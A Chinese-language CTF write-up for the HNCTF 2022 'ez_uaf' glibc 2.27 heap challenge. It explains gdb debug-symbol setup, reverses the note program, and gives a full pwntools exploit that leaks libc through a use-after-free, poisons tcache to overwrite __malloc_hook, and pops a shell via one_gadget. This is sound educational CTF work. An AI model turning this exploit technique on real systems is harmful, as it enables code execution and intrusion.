Featured image of post [HNCTF 2022 WEEK4]ez_uaf wp

[HNCTF 2022 WEEK4]ez_uaf wp

字数: 3224

一天就写了一道堆题,虽然今天确实很忙,但是堆题理解起来真的好难。
一道 glibc 2.27 的 unsortedbin 下的 use after free。

题面

附件压缩包内含二进制文件和 glibc-2.27.so

让 gdb 能调试 libc

卡在这里好久,最后花费大量 token 让 deepseek 帮我解决了。这里详细解释下:

首先 archlinux 肯定是没有 glibc 2.27 的调试信息,这样就会导致你在调试的时候遇到 libc 相关的地址就只显示孤零零的地址没有相关的 label 信息,这样就丢掉了很多关键信息,就像这样:

右边我的 biins 没有关于 main_arena 的偏移量提示。用 libc 检查发现 libc 是没有调试信息的。

到 glibc-all-in-one 或者 Google 找到带 debug info 的 deb 包,比如:https://www.ubuntuupdates.org/package/core/bionic/main/updates/libc6-dbg。搜索的时候要注意前缀要是 libc6-dbg 这样才是有调试信息的包。

在目录里创建一个 libc_dbg 文件夹放 libc6-dbg。

1
2
3
4
mkdir libc_dbg && cd libc_dbg
mv ~/Downloads/libc6-dbg_2.27-3ubuntu1.6_amd64.deb .
ar x ../libc6-dbg_2.27-3ubuntu1.6_amd64.deb && tar xvf data.tar.xz
mv ./usr/lib/debug ./ && rm -rf usr *.tar.xz debian-binary control.tar.xz

这样把调试信息的包解开到 debug 文件夹。接着创建 build-id 符号链接: 获取 build-id。可以加个 |wl-copy 管道直接到剪贴板。

1
2
readelf -n libc.so.6| grep -oP 'Build ID: \K(\w+)'
readelf -n ld-2.27.so| grep -oP 'Build ID: \K(\w+)'

将前两字符/剩余.debug 到 .build-id 里。

1
2
ln -sf ../../lib/x86_64-linux-gnu/ld-2.27.so a8014cf02021a29e57aa3e0512e9bb6e30541d.debug
ln -sf ../../lib/x86_64-linux-gnu/libc-2.27.so a8014cf02021a29e57aa3e0512e9bb6e30541d.debug

上面这一步一定要正确链接到带调试文件的 libc.so.6 和 ld-2.27.so,而且build-id 不能错,只有这样才能正确链接。

接下来是写入 .gdbinit:
用 pwd 得到 debug 的绝对路径,然后写入 .gdbinit:

1
set debug-file-directory /data/project/ctf-repo/pwn/nssctf/HNCTF_2022_WEEK4-ez_uaf/test/libc_dbg/debug/

接下来就是进 gdb 调试……

只要 yes 出来就可以了!


上面就折腾了好久,断断续续花了几个小时才跑通,AI 大幅度缩短了寻找方法的时间。

unsortedbin attack

这里使用 how2heap 的演示:https://github.com/shellphish/how2heap/blob/master/glibc_2.27/unsorted_bin_attack.c
unsortedbin attack 的目的是拿到 libc 地址。
对于 unsortedbin,考虑到 libc 2.27 已经有了 tcache,需要分配 tcache 可容纳的最大大小的 chunk 才会放入 unsortedbin。看 malloc.c 相关代码:

1
2
3
# define TCACHE_MAX_BINS		64
# define MAX_TCACHE_SIZE	tidx2usize (TCACHE_MAX_BINS-1)
# define tidx2usize(idx)	(((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

存放 tcache 的最大 chunk 为 0x410。

(翻 malloc.c 又翻了好久,命苦😢)

只要我们把这一块装进 unsortedbin,那么其的头部就会存放 fd 和 bk 指针,unsortedbin 是一个双向链表,其链表头为 mian_arena,所以借其的 fd 指针做 UAF 读写就可以拿到 libc 的地址。

在一个大 chunk 之后还得再分配一个 chunk,防止该 chunk 被合并到 top chunk。

分析

checksec 查看保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./ez_uaf
[*] '/data/project/ctf-repo/pwn/nssctf/HNCTF_2022_WEEK4-ez_uaf/ez_uaf'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

堆题保护全开没话说。

ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init_env(argc, argv, envp);
  puts("Easy Note.");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = getnum();
      if ( v3 != 4 )
        break;
      edit();
    }
    if ( v3 > 4 )
    {
LABEL_13:
      puts("Invalid!");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}

菜单题一步步来:

1
2
3
4
5
6
Easy Note.
1.Add.
2.Delete.
3.Show.
4.Edit.
Choice:

add()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int add()
{
  __int64 v1; // rbx
  int i; // [rsp+0h] [rbp-20h]
  unsigned int v3; // [rsp+4h] [rbp-1Ch]

  for ( i = 0; i <= 15 && heaplist[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("Full!");
    return 0;
  }
  else
  {
    puts("Size:");
    v3 = getnum();
    if ( v3 > 0x500 )
    {
      return puts("Invalid!");
    }
    else
    {
      heaplist[i] = malloc(0x20u);
      if ( !heaplist[i] )
      {
        puts("Malloc Error!");
        exit(1);
      }
      v1 = heaplist[i];
      *(_QWORD *)(v1 + 16) = malloc((int)v3);
      if ( !*(_QWORD *)(heaplist[i] + 16LL) )
      {
        puts("Malloc Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 24LL) = v3;
      puts("Name: ");
      if ( !(unsigned int)read(0, (void *)heaplist[i], 0x10u) )
      {
        puts("Something error!");
        exit(1);
      }
      puts("Content:");
      if ( !(unsigned int)read(0, *(void **)(heaplist[i] + 16LL), *(int *)(heaplist[i] + 24LL)) )
      {
        puts("Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 28LL) = 1;
      return puts("Done!");
    }
  }
}

add 函数可以知道栈布局。

这里用 malloc 分配了两个 chunk,为了区别,将第一个 chunk 称为元数据 chunk,第二个 chunk 称为内容 chunk。heaplist 保存了元数据 chunk 的地址,后续都会用这个偏移量来处理数据。

元数据 chunk 前 16 字节放字符串 name:

1
2
3
4
5
6
puts("Name: ");
if ( !(unsigned int)read(0, (void *)heaplist[i], 0x10u) )
{
  puts("Something error!");
  exit(1);
}

16 - 24 位放内容 chunk 的地址。第 28 位是一个 bool,在 add 函数置 1 ,如果为 1 表示正在使用,为 0 表示未使用。

1
2
*(_QWORD *)(v1 + 16) = malloc((int)v3);
*(_DWORD *)(heaplist[i] + 28LL) = 1;

内容 chunk 就是写入内容:

1
2
puts("Content:");
if ( !(unsigned int)read(0, *(void **)(heaplist[i] + 16LL), *(int *)(heaplist[i] + 24LL)) )

delete()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 delete()
{
  __int64 result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && *(_DWORD *)(heaplist[v1] + 28LL) )
  {
    free(*(void **)(heaplist[v1] + 16LL));
    free((void *)heaplist[v1]);
    result = heaplist[v1];
    *(_DWORD *)(result + 28) = 0;
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
  return result;
}

delete() 释放两个 chunk 并将元数据 chunk 的第 28 位那个 bool 置 0。问题是 heaplist 没有 NULL,还保存原来的地址,这给我们 UAF 的机会。
对于 28 位偏移,仅作用在这里防止 double free 导致的错误。

show()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && heaplist[v1] )
  {
    puts((const char *)heaplist[v1]);
    return puts(*(const char **)(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}

利用 puts 打印 name 和 contents。

edit()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
ssize_t edit()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( (unsigned int)v1 < 0x10 && heaplist[v1] )
    return read(0, *(void **)(heaplist[v1] + 16LL), *(int *)(heaplist[v1] + 24LL));
  puts("Error idx!");
  return 0;
}

用于编辑。

主要函数就是上面,题目提供了 libc 为 2.27,这个版本还在使用 __malloc_hook。

利用

可以利用 unsortedbin attack 来得到 malloc_arena 的地址,进而得到 malloc_hook 的地址。改写元数据 chunk 指向内容 chunk 的指针为 malloc_hook,变为 one gadget 拿到 shell。

首先把程序逻辑封装了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def add(size: int, name: bytes, content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"1")
    io.recvuntil(b"Size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Name:")
    io.sendline(name)
    io.recvuntil(b"Content:")
    io.sendline(content)


def delete(idx: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"2")
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())


def show(idx: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"3")
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())


def edit(idx: int, content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"4")
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())
    sleep(0.1)
    io.sendline(content)


def gdb_debug():
    gdb.attach(
        io,
        gdbscript="""
    set debug-file-directory /data/project/ctf-repo/pwn/nssctf/HNCTF_2022_WEEK4-ez_uaf/libc_dbg/debug
    nosharedlibrary
    sharedlibrary
    """,
    )

调试参数也得放,archlinux 下这样真的麻烦!

一个 0x410 的 chunk 用于 unsorted_bin_attack,还有一个 chunk 用于防合并:

1
2
3
4
add(0x410, b"a", b"a")
print("add(0)")
add(0x20, b"b", b"1111")
print("add(1)")

而后我们 delete(0),第一次分配的内容 chunk 就会包含 fd 和 bk 指针。用 show 进行 UAF 就可以拿到 libc 地址。
puts 输出的是 heaplist[i] + 16 的数据,也就是 bk。

清理并接收 bk 地址:

1
2
3
4
5
6
delete(0)
print("delete(0)")
show(0)
print("show(0)")

address = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))

gdb 调试确定此时 unsortedbin 内 fd、bk 指针都指向 main_arena+96 的位置。

通过 gdb 比对 __malloc_hook 和 main_arena 的差值,利用以下命令可以直接算出来是 0x10:

1
p (void *)&main_arena - (void *)&__malloc_hook

辅以 bk 地址为 main_arena+96 可以计算出 __malloc_hook 的地址:

1
2
malloc_hook = address - 96 - 16
print("malloc hook address =", hex(malloc_hook))

题目给了 libc,借此也可以计算出 libc 基址:

1
2
libc_base = malloc_hook - libc.sym["__malloc_hook"]
print("libc base address =", hex(libc_base))

接下来就要用到新工具:在堆利用很常见的:one_gadget

用 one_gadget 读 libc-2.27.so 可以得到一系列的地址 gadget,选择要求最低的那一个:

这里选择 0x10a2fc。

1
2
one_gadgets_addr = 0x10A2FC + libc_base
print("gadgets =", hex(one_gadgets_addr))

接下来就是利用 tcache 来重新分配,覆盖元数据 chunk 的内容 chunk 地址,实现写 __malloc_hook 劫持 malloc 入口。

1
2
3
4
delete(1)
print("delete(1)")
edit(1, p64(malloc_hook))
print("edit(1)")

free 后改写 1 的内容 chunk 数据为 __malloc_hook 地址。
free 后,内容 chunk 进入 tcache,头部写下 fd 指针。这里改写了这个指针的数据。

这时候 chunk 为:

可见 0x55c89fe2e6d0 这个 chunk 的 fd 被篡改成 malloc_hook 了。
查看 bins tcache 0x30 链表最后指向 __malloc_hook:

tcache 是单链表,只用了 fd 指针,这里对 tcache 投毒。
巧妙的是两个 chunk 都是 0x30,这样下两次分配的时候都会被元数据拿去。分配 2 的时候上面一块 chunk 被分走,这只是占位操作,我们一步步来(研究了好久……)

delete(1) 并改写后,此时堆空间:

这里 0x55dc166c76e0 就是 fd 指针位置,数据为 malloc_hook,我们已经污染了 tcache,然后一次非 0x20 的 chunk 填充第一个 tcache,之后用 0x20 打,这样内容 chunk 会顺着 tcache 0x30 直接写 malloc_hook 地址。这样实际上是没有分配内容 chunk,其直接从 tcache 中取,取的地址是 malloc_hook。

1
2
3
4
add(0x10, b"2222", b"2222")
print("add(2)")
add(0x20, b"3333", b"3333")
print("add(3)")

从 edit() 函数可知,改写是通过 read 写入元数据 chunk 的内容 chunk 地址实现的,这里我们却可以直接改写 malloc_hook。将 malloc_hook 改写成我们的 one_gadget,然后再 add 一次运行 malloc 就进入到 shell。

1
2
3
4
5
edit(3, p64(one_gadgets_addr))
print("edit(3)")

io.sendlineafter(b"Choice: \n", b"1")
io.sendlineafter(b"Size:\n", b"0x20")

完整 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

io = process("./ez_uaf")
libc = ELF(
    "./libc6-dbg_2.27-3ubuntu1.6_amd64/data/usr/lib/debug/lib/x86_64-linux-gnu/libc-2.27.so"
)
context(os="linux", arch="amd64", log_level="info")


def add(size: int, name: bytes, content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"1")
    io.recvuntil(b"Size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Name:")
    io.sendline(name)
    io.recvuntil(b"Content:")
    io.sendline(content)


def delete(idx: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"2")
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())


def show(idx: int):
    io.recvuntil(b"Choice:")
    io.sendline(b"3")
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())


def edit(idx: int, content: bytes):
    io.recvuntil(b"Choice:")
    io.sendline(b"4")
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())
    sleep(0.1)
    io.sendline(content)


def gdb_debug():
    gdb.attach(
        io,
        gdbscript="""
    set debug-file-directory /data/project/ctf-repo/pwn/nssctf/HNCTF_2022_WEEK4-ez_uaf/libc_dbg/debug
    nosharedlibrary
    sharedlibrary
    """,
    )


add(0x410, b"a", b"a")
print("add(0)")
add(0x20, b"b", b"1111")
print("add(1)")
delete(0)
print("delete(0)")
show(0)
print("show(0)")

address = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
malloc_hook = address - 96 - 16
print("malloc hook address =", hex(malloc_hook))
libc_base = malloc_hook - libc.sym["__malloc_hook"]
print("libc base address =", hex(libc_base))
one_gadgets_addr = 0x10A2FC + libc_base
print("gadgets =", hex(one_gadgets_addr))


delete(1)
print("delete(1)")
edit(1, p64(malloc_hook))
print("edit(1)")


gdb_debug()

add(0x10, b"2222", b"2222")
print("add(2)")
add(0x20, b"3333", b"3333")
print("add(3)")

edit(3, p64(one_gadgets_addr))
print("edit(3)")


io.sendlineafter(b"Choice: \n", b"1")
io.sendlineafter(b"Size:\n", b"0x20")

io.interactive()

参考资料

  1. The GDB developer’s GNU Debugger tutorial, Part 2: All about debuginfo